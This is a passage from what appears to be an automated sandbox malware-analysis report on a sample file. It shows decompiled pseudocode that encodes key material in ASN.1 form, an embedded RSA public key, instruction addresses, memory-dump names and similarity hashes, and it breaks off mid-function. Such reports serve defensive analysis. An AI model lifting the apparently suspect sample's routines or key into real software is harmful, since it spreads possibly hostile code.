				if (E00007FF77FF7E3720380(_t788 + 0x10, _t813 - 0x48) == 0) goto 0xe3716178;
				_t53 = _t816 + 0x58; // 0x59
				 *(_t816 + 0x58) = _t883;
				 *((long long*)(_t813 - 0x20)) = _t53;
				 *(_t813 - 0x30) = r12d;
				 *(_t813 - 0x28) = _t854;
				_t813[0x82] = _t788 + 0x58;
				if (E00007FF77FF7E3720380(_t788 + 0x58, _t813 - 0x30) == 0) goto 0xe3716178;
				_t61 = _t816 + 0x50; // 0x51
				 *(_t816 + 0x50) = _t883;
				 *((long long*)(_t813 - 8)) = _t61;
				 *(_t813 - 0x18) = r12d;
				 *(_t813 - 0x10) = _t854;
				 *(_t816 + 0x48) = _t788 + 0x70;
				if (E00007FF77FF7E3720380(_t788 + 0x70, _t813 - 0x18) == 0) goto 0xe3716178;
				_t69 = _t816 + 0x60; // 0x61
				 *(_t816 + 0x60) = _t883;
				_t813[4] = _t69;
				 *_t813 = r12d;
				_t813[2] = _t854;
				 *(_t816 + 0x50) = _t788 + 0x40;
				if (E00007FF77FF7E3720380(_t788 + 0x40, _t813) == 0) goto 0xe3716178;
				_t75 = _t816 + 0x68; // 0x69
				 *(_t816 + 0x68) = _t883;
				_t813[0xa] = _t75;
				_t540 = _t788 + 0x28;
				_t813[6] = r12d;
				_t813[8] = _t854;
				 *(_t816 + 0x58) = _t540;
				if (E00007FF77FF7E3720380(_t540,  &(_t813[6])) == 0) goto 0xe3716178;
				if (E00007FF77FF7E371F4F0(_t816 + 0x30, _t788 + 0x70, _t788, _t808) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t540, _t816 + 0x30);
				_t789 = _t540;
				if (_t622 - _t881 < 0) goto 0xe371617f;
				if (_t622 - _t881 - _t789 < 0) goto 0xe371617f;
				_t623 = _t622 - _t789;
				_t813[0x80] = _t623;
				if (E00007FF77FF7E371FF70(_t623, _t816 + 0x30, _t623, _t808, _t789) != 0) goto 0xe3715c0c;
				if ( *(_t816 + 0x30) != r12d) goto 0xe3715bcb;
				if ( *_t623 - r15b >= 0) goto 0xe3715bcb;
				_t544 = _t623 - _t881;
				if (_t544 - _t854 < 0) goto 0xe371617f;
				_t624 = _t623 - 1;
				_t813[0x80] = _t624;
				_t790 = _t789 + 1;
				 *_t624 = r15b;
				_t280 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t790);
				_t625 = _t813[0x80];
				if (_t280 < 0) goto 0xe3715c0c;
				_t791 = _t790 + _t544;
				if (_t625 - _t881 - _t854 < 0) goto 0xe371617f;
				_t626 = _t625 - 1;
				_t92 = _t791 + 1; // 0x2
				_t813[0x80] = _t626;
				 *_t626 = 2;
				if (_t92 < 0) goto 0xe3716181;
				 *(_t816 + 0x70) = _t883;
				_t97 = _t816 + 0x70; // 0x71
				_t813[0xc] = r12d;
				_t813[0x10] = _t97;
				_t813[0xe] = _t854;
				if (E00007FF77FF7E3720380(_t813[0x7c],  &(_t813[0xc])) == 0) goto 0xe3716178;
				_t102 = _t816 + 0x78; // 0x79
				 *(_t816 + 0x78) = _t883;
				_t813[0x12] = r12d;
				_t813[0x14] = _t854;
				_t813[0x16] = _t102;
				if (E00007FF77FF7E3720380(_t813[0x82],  &(_t813[0x12])) == 0) goto 0xe3716178;
				_t813[0x1c] = _t813 - 0x80;
				 *(_t813 - 0x80) = _t883;
				_t813[0x18] = r12d;
				_t813[0x1a] = _t854;
				if (E00007FF77FF7E3720380( *(_t816 + 0x48),  &(_t813[0x18])) == 0) goto 0xe3716178;
				_t813[0x22] = _t813 - 0x78;
				 *(_t813 - 0x78) = _t883;
				_t813[0x1e] = r12d;
				_t813[0x20] = _t854;
				if (E00007FF77FF7E3720380( *(_t816 + 0x50),  &(_t813[0x1e])) == 0) goto 0xe3716178;
				_t551 = _t813 - 0x70;
				_t813[0x28] = _t551;
				 *(_t813 - 0x70) = _t883;
				_t813[0x24] = r12d;
				_t813[0x26] = _t854;
				if (E00007FF77FF7E3720380( *(_t816 + 0x58),  &(_t813[0x24])) == 0) goto 0xe3716178;
				if (E00007FF77FF7E371F4F0(_t816 + 0x30, _t813[0x82], _t813[0x82], _t808) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t551, _t816 + 0x30);
				_t793 = _t551;
				if (_t626 - _t881 < 0) goto 0xe371617f;
				if (_t626 - _t881 - _t793 < 0) goto 0xe371617f;
				_t627 = _t626 - _t793;
				_t813[0x80] = _t627;
				if (E00007FF77FF7E371FF70(_t627, _t816 + 0x30, _t627, _t808, _t793) != 0) goto 0xe3715dd0;
				if ( *(_t816 + 0x30) != r12d) goto 0xe3715d8f;
				if ( *_t627 - r15b >= 0) goto 0xe3715d8f;
				_t555 = _t627 - _t881;
				if (_t555 - _t854 < 0) goto 0xe371617f;
				_t628 = _t627 - 1;
				_t813[0x80] = _t628;
				_t794 = _t793 + 1;
				 *_t628 = r15b;
				_t292 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t794);
				_t629 = _t813[0x80];
				if (_t292 < 0) goto 0xe3715dd0;
				_t795 = _t794 + _t555;
				if (_t629 - _t881 - _t854 < 0) goto 0xe371617f;
				_t630 = _t629 - 1;
				_t137 = _t795 + 1; // 0x2
				_t813[0x80] = _t630;
				 *_t630 = 2;
				if (_t137 < 0) goto 0xe3716181;
				 *(_t813 - 0x68) = _t883;
				_t813[0x2a] = r12d;
				_t813[0x2e] = _t813 - 0x68;
				_t813[0x2c] = _t854;
				if (E00007FF77FF7E3720380(_t813[0x7c],  &(_t813[0x2a])) == 0) goto 0xe3716178;
				_t813[0x34] = _t813 - 0x60;
				 *(_t813 - 0x60) = _t883;
				_t813[0x30] = r12d;
				_t813[0x32] = _t854;
				if (E00007FF77FF7E3720380(_t813[0x82],  &(_t813[0x30])) == 0) goto 0xe3716178;
				_t813[0x3a] = _t813 - 0x58;
				 *(_t813 - 0x58) = _t883;
				_t813[0x36] = r12d;
				_t813[0x38] = _t854;
				if (E00007FF77FF7E3720380( *(_t816 + 0x48),  &(_t813[0x36])) == 0) goto 0xe3716178;
				_t161 = _t816 + 0x48; // 0x49
				 *(_t816 + 0x48) = _t883;
				_t813[0x3c] = r12d;
				_t813[0x3e] = _t854;
				_t813[0x40] = _t161;
				if (E00007FF77FF7E3720380( *(_t816 + 0x50),  &(_t813[0x3c])) == 0) goto 0xe3716178;
				_t813[0x42] = r12d;
				_t562 = _t813 - 0x50;
				_t813[0x44] = _t854;
				 *(_t813 - 0x50) = _t883;
				_t813[0x46] = _t562;
				if (E00007FF77FF7E3720380( *(_t816 + 0x58),  &(_t813[0x42])) == 0) goto 0xe3716178;
				if (E00007FF77FF7E371F4F0(_t816 + 0x30,  *(_t816 + 0x50),  *(_t816 + 0x50), _t808) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t562, _t816 + 0x30);
				_t797 = _t562;
				if (_t630 - _t881 < 0) goto 0xe371617f;
				if (_t630 - _t881 - _t797 < 0) goto 0xe371617f;
				_t631 = _t630 - _t797;
				_t813[0x80] = _t631;
				if (E00007FF77FF7E371FF70(_t631, _t816 + 0x30, _t631, _t808, _t797) != 0) goto 0xe3715fc1;
				if ( *(_t816 + 0x30) != 1) goto 0xe3715f7f;
				if ( *_t631 - r15b >= 0) goto 0xe3715f7f;
				_t566 = _t631 - _t881;
				if (_t566 - 1 < 0) goto 0xe371617f;
				_t632 = _t631 - 1;
				_t813[0x80] = _t632;
				_t798 = _t797 + 1;
				 *_t632 = r15b;
				_t304 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t798);
				_t633 = _t813[0x80];
				if (_t304 < 0) goto 0xe3715fc1;
				_t799 = _t798 + _t566;
				_t568 = _t633 - _t881;
				if (_t568 - 1 < 0) goto 0xe371617f;
				_t634 = _t633 - 1;
				_t182 = _t799 + 1; // 0x2
				_t813[0x80] = _t634;
				 *_t634 = 2;
				if (_t182 < 0) goto 0xe3716181;
				if (E00007FF77FF7E371F4F0(_t816 + 0x30,  *(_t816 + 0x58), _t798 + _t566, _t808) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t568, _t816 + 0x30);
				_t800 = _t568;
				if (_t634 - _t881 < 0) goto 0xe371617f;
				if (_t634 - _t881 - _t800 < 0) goto 0xe371617f;
				_t635 = _t634 - _t800;
				_t813[0x80] = _t635;
				if (E00007FF77FF7E371FF70(_t635, _t816 + 0x30, _t635, _t808, _t800) != 0) goto 0xe3716098;
				if ( *(_t816 + 0x30) != 1) goto 0xe3716056;
				if ( *_t635 - r15b >= 0) goto 0xe3716056;
				_t572 = _t635 - _t881;
				if (_t572 - 1 < 0) goto 0xe371617f;
				_t636 = _t635 - 1;
				_t813[0x80] = _t636;
				_t801 = _t800 + 1;
				 *_t636 = r15b;
				_t311 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t801);
				_t637 = _t813[0x80];
				if (_t311 < 0) goto 0xe3716098;
				_t802 = _t801 + _t572;
				_t574 = _t637 - _t881;
				if (_t574 - 1 < 0) goto 0xe371617f;
				_t638 = _t637 - 1;
				_t192 = _t802 + 1; // 0x2
				_t813[0x80] = _t638;
				 *_t638 = 2;
				if (_t192 < 0) goto 0xe3716181;
				if (E00007FF77FF7E371F4F0(_t816 + 0x30, _t813[0x7c], _t801 + _t572, _t808) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t574, _t816 + 0x30);
				_t803 = _t574;
				if (_t638 - _t881 < 0) goto 0xe371617f;
				if (_t638 - _t881 - _t803 < 0) goto 0xe371617f;
				_t639 = _t638 - _t803;
				_t813[0x80] = _t639;
				if (E00007FF77FF7E371FF70(_t639, _t816 + 0x30, _t639, _t808, _t803) != 0) goto 0xe371616b;
				if ( *(_t816 + 0x30) != 1) goto 0xe371612d;
				if ( *_t639 - r15b >= 0) goto 0xe371612d;
				_t578 = _t639 - _t881;
				if (_t578 - 1 < 0) goto 0xe371617f;
				_t640 = _t639 - 1;
				_t813[0x80] = _t640;
				_t804 = _t803 + 1;
				 *_t640 = r15b;
				_t318 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t804);
				_t641 = _t813[0x80];
				if (_t318 < 0) goto 0xe371616b;
				_t805 = _t804 + _t578;
				if (_t641 - _t881 - 1 < 0) goto 0xe371617f;
				_t642 = _t641 - 1;
				_t203 = _t805 + 1; // 0x2
				_t813[0x80] = _t642;
				 *_t642 = 2;
				if (_t203 < 0) goto 0xe3716181;
				goto 0xe3716181;
				goto 0xe3716181;
				if ( *(_t816 + 0x40) == 0) goto 0xe37161b9;
				if ( *(_t816 + 0x38) * 8 == 0) goto 0xe37161b4;
				_t582 =  *0xe3754598; // 0x7ff7e373b860
				 *_t582();
				_t643 = _t813[0x80];
				E00007FF77FF7E373FEDC(_t582,  *(_t816 + 0x40));
				if (_t373 < 0) goto 0xe371654e;
				asm("o16 nop [eax+eax]");
				if ( ~_t881 + _t643 - 1 < 0) goto 0xe3716545;
				_t644 = _t643 - 1;
				_t813[0x80] = _t644;
				 *_t644 = r15b;
				r15d = r15d >> 8;
				if (r15d > 0) goto 0xe37161d0;
				if ( *_t644 >= 0) goto 0xe371621c;
				_t585 = _t644 - _t881;
				if (_t585 - 1 < 0) goto 0xe3716545;
				_t645 = _t644 - 1;
				_t813[0x80] = _t645;
				_t851 = _t883 + 2;
				 *_t645 = 0;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t851) < 0) goto 0xe3716557;
				_t705 = _t813[0x80];
				_t852 = _t851 + _t585;
				if (_t705 - _t881 - 1 < 0) goto 0xe3716545;
				_t706 = _t705 - 1;
				_t215 = _t852 + 1; // 0x3
				_t813[0x80] = _t706;
				 *_t706 = 2;
				if (_t215 < 0) goto 0xe3716557;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t20 + _t524 + _t621 - _t881 + _t625 - _t881 + _t629 - _t881 + _t568 + _t574 + _t641 - _t881 + _t705 - _t881) < 0) goto 0xe3716557;
				_t708 = _t813[0x80];
				if (_t708 - _t881 - 1 < 0) goto 0xe3716545;
				 *((char*)(_t708 - 1)) = 0x30;
				goto 0xe3716557;
				if (r13d != 2) goto 0xe3716552;
				_t809 =  *0xe3767368;
				_t813[0x7c] = _t883;
				 *(_t816 + 0x20) =  &(_t813[0x48]);
				_t331 = E00007FF77FF7E3725660(0, r13d - 2,  &(_t813[0x48]), _t645,  *0xe3767368,  *0xe3767368 + 0x110,  &(_t813[0x7c]), _t851 + _t585, _t853);
				_t371 = _t331;
				if (_t331 != 0) goto 0xe3716325;
				if (_t645 - _t881 < 0) goto 0xe3716549;
				_t806 = _t813[0x7c];
				if (_t645 - _t881 - _t806 < 0) goto 0xe3716549;
				_t646 = _t645 - _t806;
				E00007FF77FF7E373BC10(_t349, _t371, _t373, _t377, _t646,  &(_t813[0x48]), _t806,  *0xe3767368, _t806);
				if (_t371 < 0) goto 0xe371654e;
				_t594 = _t646 - _t881;
				if (_t646 - _t881 - 1 >= 0) goto 0xe3716343;
				goto 0xe3716557;
				 *(_t646 - 1) = r13b;
				_t870 = _t371 + 1;
				_t813[0x80] = _t646 - 1;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t371 + 1) < 0) goto 0xe3716557;
				_t712 = _t813[0x80];
				if (_t712 - _t881 - 1 < 0) goto 0xe3716339;
				_t713 = _t712 - 1;
				_t813[0x80] = _t713;
				 *_t713 = 3;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t870 + _t594 + 1) < 0) goto 0xe3716557;
				_t715 = _t813[0x80];
				_t598 = _t715 - _t881;
				if (_t715 - _t881 - 1 < 0) goto 0xe3716339;
				_t716 = _t715 - 1;
				_t813[0x80] = _t716;
				 *_t716 = 0xa1;
				_t338 = E00007FF77FF7E37152C0( &(_t813[0x80]), _t881,  *0xe3767368, _t809);
				if (_t338 < 0) goto 0xe3716557;
				_t648 = _t338;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t338) < 0) goto 0xe3716557;
				_t719 = _t813[0x80];
				if (_t719 - _t881 - 1 < 0) goto 0xe3716339;
				_t720 = _t719 - 1;
				_t813[0x80] = _t720;
				 *_t720 = 0xa0;
				if (E00007FF77FF7E37153A0(_t371, _t648 + _t598 + 1,  &(_t813[0x80]), _t881, _t806, _t809, _t813, _t809) < 0) goto 0xe3716557;
				_t722 = _t813[0x80];
				r12d = 1;
				if ( ~_t881 + _t722 - 1 < 0) goto 0xe3716540;
				_t723 = _t722 - 1;
				_t813[0x80] = _t723;
				 *_t723 = r12b;
				r12d = r12d >> 8;
				if (r12d > 0) goto 0xe3716470;
				if ( *_t723 >= 0) goto 0xe37164bc;
				if (_t723 - _t881 - 1 < 0) goto 0xe3716540;
				_t724 = _t723 - 1;
				_t813[0x80] = _t724;
				 *_t724 = 0;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t883 + 2) < 0) goto 0xe37164fa;
				_t726 = _t813[0x80];
				if (_t726 - _t881 - 1 < 0) goto 0xe3716540;
				_t727 = _t726 - 1;
				_t813[0x80] = _t727;
				 *_t727 = 2;
				if (_t373 + 1 + r15d < 0) goto 0xe3716545;
				if (E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t870 + _t594 + 1 + _t712 - _t881 + 1 + _t719 - _t881 + _t648 + _t598 + 1 + _t373 + 1 + r15d) < 0) goto 0xe3716557;
				_t608 = _t813[0x80];
				if (_t608 - _t881 - 1 < 0) goto 0xe3716339;
				 *((char*)(_t608 - 1)) = 0x30;
				goto 0xe3716557;
				goto 0xe3716557;
				goto 0xe3716557;
				return 0xffffc680;
			}

0x7ff7e3715720
0x7ff7e3715725
0x7ff7e371572a
0x7ff7e371573a
0x7ff7e3715742
0x7ff7e3715749
0x7ff7e3715750
0x7ff7e3715757
0x7ff7e371575a
0x7ff7e3715761
0x7ff7e3715764
0x7ff7e371576a
0x7ff7e3715775
0x7ff7e371577b
0x7ff7e3715787
0x7ff7e371578d
0x7ff7e3715797
0x7ff7e371579c
0x7ff7e371579f
0x7ff7e37157a6
0x7ff7e37157ab
0x7ff7e37157b0
0x7ff7e37157b0
0x7ff7e37157b8
0x7ff7e37157c3
0x7ff7e37157c8
0x7ff7e37157ce
0x7ff7e37157dd
0x7ff7e37157e3
0x7ff7e37157ee
0x7ff7e37157ff
0x7ff7e3715806
0x7ff7e371580b
0x7ff7e3715810
0x7ff7e3715816
0x7ff7e371581c
0x7ff7e371581f
0x7ff7e3715826
0x7ff7e3715829
0x7ff7e3715839
0x7ff7e371583e
0x7ff7e3715847
0x7ff7e371584b
0x7ff7e3715851
0x7ff7e3715857
0x7ff7e371585d
0x7ff7e3715860
0x7ff7e3715863
0x7ff7e371586a
0x7ff7e3715871
0x7ff7e3715883
0x7ff7e3715894
0x7ff7e371589f
0x7ff7e37158a4
0x7ff7e37158aa
0x7ff7e37158b9
0x7ff7e37158bf
0x7ff7e37158ca
0x7ff7e37158db
0x7ff7e37158e2
0x7ff7e37158e7
0x7ff7e37158ec
0x7ff7e37158f2
0x7ff7e37158f8
0x7ff7e37158fb
0x7ff7e3715902
0x7ff7e3715905
0x7ff7e3715915
0x7ff7e371591a
0x7ff7e3715923
0x7ff7e3715927
0x7ff7e371592d
0x7ff7e3715933
0x7ff7e3715939
0x7ff7e371593c
0x7ff7e371593f
0x7ff7e3715946
0x7ff7e371594d
0x7ff7e3715961
0x7ff7e3715964
0x7ff7e3715973
0x7ff7e371597e
0x7ff7e3715983
0x7ff7e3715989
0x7ff7e3715998
0x7ff7e371599e
0x7ff7e37159a9
0x7ff7e37159ba
0x7ff7e37159c1
0x7ff7e37159c6
0x7ff7e37159cb
0x7ff7e37159d1
0x7ff7e37159d7
0x7ff7e37159da
0x7ff7e37159e1
0x7ff7e37159e4
0x7ff7e37159f4
0x7ff7e37159f9
0x7ff7e3715a02
0x7ff7e3715a06
0x7ff7e3715a12
0x7ff7e3715a18
0x7ff7e3715a1b
0x7ff7e3715a1e
0x7ff7e3715a25
0x7ff7e3715a2c
0x7ff7e3715a32
0x7ff7e3715a42
0x7ff7e3715a50
0x7ff7e3715a54
0x7ff7e3715a5f
0x7ff7e3715a63
0x7ff7e3715a71
0x7ff7e3715a77
0x7ff7e3715a7c
0x7ff7e3715a81
0x7ff7e3715a8d
0x7ff7e3715a94
0x7ff7e3715a98
0x7ff7e3715aa6
0x7ff7e3715aac
0x7ff7e3715ab1
0x7ff7e3715ab6
0x7ff7e3715ac2
0x7ff7e3715ac9
0x7ff7e3715acd
0x7ff7e3715ad9
0x7ff7e3715adf
0x7ff7e3715ae4
0x7ff7e3715ae9
0x7ff7e3715af5
0x7ff7e3715afc
0x7ff7e3715b00
0x7ff7e3715b0c
0x7ff7e3715b12
0x7ff7e3715b17
0x7ff7e3715b1c
0x7ff7e3715b24
0x7ff7e3715b28
0x7ff7e3715b2f
0x7ff7e3715b33
0x7ff7e3715b3f
0x7ff7e3715b57
0x7ff7e3715b62
0x7ff7e3715b67
0x7ff7e3715b6d
0x7ff7e3715b7c
0x7ff7e3715b82
0x7ff7e3715b8d
0x7ff7e3715b9e
0x7ff7e3715ba5
0x7ff7e3715baa
0x7ff7e3715baf
0x7ff7e3715bb5
0x7ff7e3715bbb
0x7ff7e3715bbe
0x7ff7e3715bc5
0x7ff7e3715bc8
0x7ff7e3715bd8
0x7ff7e3715bdd
0x7ff7e3715be6
0x7ff7e3715bea
0x7ff7e3715bf6
0x7ff7e3715bfc
0x7ff7e3715bff
0x7ff7e3715c02
0x7ff7e3715c09
0x7ff7e3715c10
0x7ff7e3715c26
0x7ff7e3715c2b
0x7ff7e3715c30
0x7ff7e3715c34
0x7ff7e3715c38
0x7ff7e3715c43
0x7ff7e3715c50
0x7ff7e3715c58
0x7ff7e3715c61
0x7ff7e3715c65
0x7ff7e3715c69
0x7ff7e3715c74
0x7ff7e3715c87
0x7ff7e3715c8b
0x7ff7e3715c8f
0x7ff7e3715c93
0x7ff7e3715c9e
0x7ff7e3715cb1
0x7ff7e3715cb8
0x7ff7e3715cbc
0x7ff7e3715cc0
0x7ff7e3715cce
0x7ff7e3715cd9
0x7ff7e3715ce4
0x7ff7e3715ceb
0x7ff7e3715cef
0x7ff7e3715cf6
0x7ff7e3715d04
0x7ff7e3715d1b
0x7ff7e3715d26
0x7ff7e3715d2b
0x7ff7e3715d31
0x7ff7e3715d40
0x7ff7e3715d46
0x7ff7e3715d51
0x7ff7e3715d62
0x7ff7e3715d69
0x7ff7e3715d6e
0x7ff7e3715d73
0x7ff7e3715d79
0x7ff7e3715d7f
0x7ff7e3715d82
0x7ff7e3715d89
0x7ff7e3715d8c
0x7ff7e3715d9c
0x7ff7e3715da1
0x7ff7e3715daa
0x7ff7e3715dae
0x7ff7e3715dba
0x7ff7e3715dc0
0x7ff7e3715dc3
0x7ff7e3715dc6
0x7ff7e3715dcd
0x7ff7e3715dd4
0x7ff7e3715ded
0x7ff7e3715df5
0x7ff7e3715dfc
0x7ff7e3715e03
0x7ff7e3715e11
0x7ff7e3715e29
0x7ff7e3715e30
0x7ff7e3715e34
0x7ff7e3715e3b
0x7ff7e3715e49
0x7ff7e3715e5f
0x7ff7e3715e66
0x7ff7e3715e6a
0x7ff7e3715e71
0x7ff7e3715e7f
0x7ff7e3715e8a
0x7ff7e3715e92
0x7ff7e3715e9e
0x7ff7e3715ea5
0x7ff7e3715eac
0x7ff7e3715eba
0x7ff7e3715ec0
0x7ff7e3715ec7
0x7ff7e3715ecb
0x7ff7e3715ee1
0x7ff7e3715ee5
0x7ff7e3715ef3
0x7ff7e3715f0a
0x7ff7e3715f15
0x7ff7e3715f1a
0x7ff7e3715f20
0x7ff7e3715f2f
0x7ff7e3715f35
0x7ff7e3715f40
0x7ff7e3715f51
0x7ff7e3715f58
0x7ff7e3715f5d
0x7ff7e3715f62
0x7ff7e3715f69
0x7ff7e3715f6f
0x7ff7e3715f72
0x7ff7e3715f79
0x7ff7e3715f7c
0x7ff7e3715f8c
0x7ff7e3715f91
0x7ff7e3715f9a
0x7ff7e3715f9e
0x7ff7e3715fa4
0x7ff7e3715fab
0x7ff7e3715fb1
0x7ff7e3715fb4
0x7ff7e3715fb7
0x7ff7e3715fbe
0x7ff7e3715fc5
0x7ff7e3715fe1
0x7ff7e3715fec
0x7ff7e3715ff1
0x7ff7e3715ff7
0x7ff7e3716006
0x7ff7e371600c
0x7ff7e3716017
0x7ff7e3716028
0x7ff7e371602f
0x7ff7e3716034
0x7ff7e3716039
0x7ff7e3716040
0x7ff7e3716046
0x7ff7e3716049
0x7ff7e3716050
0x7ff7e3716053
0x7ff7e3716063
0x7ff7e3716068
0x7ff7e3716071
0x7ff7e3716075
0x7ff7e371607b
0x7ff7e3716082
0x7ff7e3716088
0x7ff7e371608b
0x7ff7e371608e
0x7ff7e3716095
0x7ff7e371609c
0x7ff7e37160bc
0x7ff7e37160c7
0x7ff7e37160cc
0x7ff7e37160d2
0x7ff7e37160e1
0x7ff7e37160e7
0x7ff7e37160f2
0x7ff7e3716103
0x7ff7e371610a
0x7ff7e371610f
0x7ff7e3716114
0x7ff7e371611b
0x7ff7e371611d
0x7ff7e3716120
0x7ff7e3716127
0x7ff7e371612a
0x7ff7e371613a
0x7ff7e371613f
0x7ff7e3716148
0x7ff7e371614c
0x7ff7e3716159
0x7ff7e371615b
0x7ff7e371615e
0x7ff7e3716161
0x7ff7e3716168
0x7ff7e371616f
0x7ff7e3716176
0x7ff7e371617d
0x7ff7e3716189
0x7ff7e371619b
0x7ff7e371619d
0x7ff7e37161a6
0x7ff7e37161ad
0x7ff7e37161b4
0x7ff7e37161bb
0x7ff7e37161ca
0x7ff7e37161d8
0x7ff7e37161de
0x7ff7e37161e4
0x7ff7e37161eb
0x7ff7e37161ee
0x7ff7e37161f5
0x7ff7e37161fa
0x7ff7e37161ff
0x7ff7e3716206
0x7ff7e371620c
0x7ff7e371620f
0x7ff7e3716216
0x7ff7e3716219
0x7ff7e3716230
0x7ff7e3716236
0x7ff7e371623f
0x7ff7e371624c
0x7ff7e3716252
0x7ff7e3716255
0x7ff7e3716259
0x7ff7e3716260
0x7ff7e3716265
0x7ff7e3716281
0x7ff7e3716287
0x7ff7e371629d
0x7ff7e37162a6
0x7ff7e37162ad
0x7ff7e37162b5
0x7ff7e37162bb
0x7ff7e37162d0
0x7ff7e37162da
0x7ff7e37162e6
0x7ff7e37162eb
0x7ff7e37162ef
0x7ff7e37162f4
0x7ff7e37162fa
0x7ff7e371630a
0x7ff7e3716310
0x7ff7e3716320
0x7ff7e3716327
0x7ff7e3716330
0x7ff7e3716337
0x7ff7e371633e
0x7ff7e3716343
0x7ff7e3716354
0x7ff7e3716357
0x7ff7e371636b
0x7ff7e3716371
0x7ff7e3716387
0x7ff7e3716389
0x7ff7e371638f
0x7ff7e3716399
0x7ff7e37163aa
0x7ff7e37163b0
0x7ff7e37163bf
0x7ff7e37163c6
0x7ff7e37163cc
0x7ff7e37163d2
0x7ff7e37163dc
0x7ff7e37163e6
0x7ff7e37163ed
0x7ff7e37163f3
0x7ff7e371640a
0x7ff7e3716410
0x7ff7e3716426
0x7ff7e371642c
0x7ff7e3716432
0x7ff7e371643c
0x7ff7e371644d
0x7ff7e3716453
0x7ff7e371645f
0x7ff7e3716478
0x7ff7e371647e
0x7ff7e3716484
0x7ff7e371648b
0x7ff7e371648e
0x7ff7e3716495
0x7ff7e371649a
0x7ff7e37164a6
0x7ff7e37164ac
0x7ff7e37164af
0x7ff7e37164b9
0x7ff7e37164d3
0x7ff7e37164d5
0x7ff7e37164e6
0x7ff7e37164e8
0x7ff7e37164ed
0x7ff7e37164f7
0x7ff7e37164fc
0x7ff7e3716515
0x7ff7e371651a
0x7ff7e371652e
0x7ff7e3716537
0x7ff7e371653e
0x7ff7e3716547
0x7ff7e3716550
0x7ff7e3716571

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E3715732

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo
API String ID: 0-2951210353
Opcode ID: 0d3c260d4b6a8fe3cfa33205a95e0ecc5a86a6a6476f75facde6ace0afac6180
Instruction ID: e1521b0376a8a6ca2270d284f73f5c25da36f671044f7e20e68fd84536e0c7d5
Opcode Fuzzy Hash: 0d3c260d4b6a8fe3cfa33205a95e0ecc5a86a6a6476f75facde6ace0afac6180
Instruction Fuzzy Hash: 458232326187C645EB90AF3599843E9BBA4FB48788F854536DE8C97B5AEF38D120C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372C6A0 Relevance: 1.6, Strings: 1, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF77FF7E372C6A0(void* __ecx, void* __esi, long long __rbx, signed int* __rcx, signed int* __rdx, long long __rdi, long long __rsi, signed int* __r8, signed int* __r9, void* __r10, void* __r11) {
				void* __rbp;
				void* __r12;
				void* __r14;
				void* __r15;
				void* _t119;
				void* _t127;
				void* _t135;
				void* _t143;
				void* _t152;
				signed int _t190;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				signed int _t194;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				long long* _t259;
				long long* _t261;
				signed int* _t320;
				void* _t322;
				long long* _t323;
				void* _t325;
				void* _t326;
				void* _t351;
				void* _t352;
				void* _t354;
				signed int* _t355;
				signed int _t357;
				void* _t359;
				signed int* _t360;
				signed int* _t361;
				void* _t363;
				signed int* _t364;

				_t352 = __r11;
				_t351 = __r10;
				_t317 = __rdi;
				_t262 = __rbx;
				_t200 = __esi;
				 *((long long*)(_t325 + 8)) = __rbx;
				 *((long long*)(_t325 + 0x10)) = __rsi;
				 *((long long*)(_t325 + 0x18)) = __rdi;
				_t323 = _t325 - 0x10;
				_t326 = _t325 - 0x110;
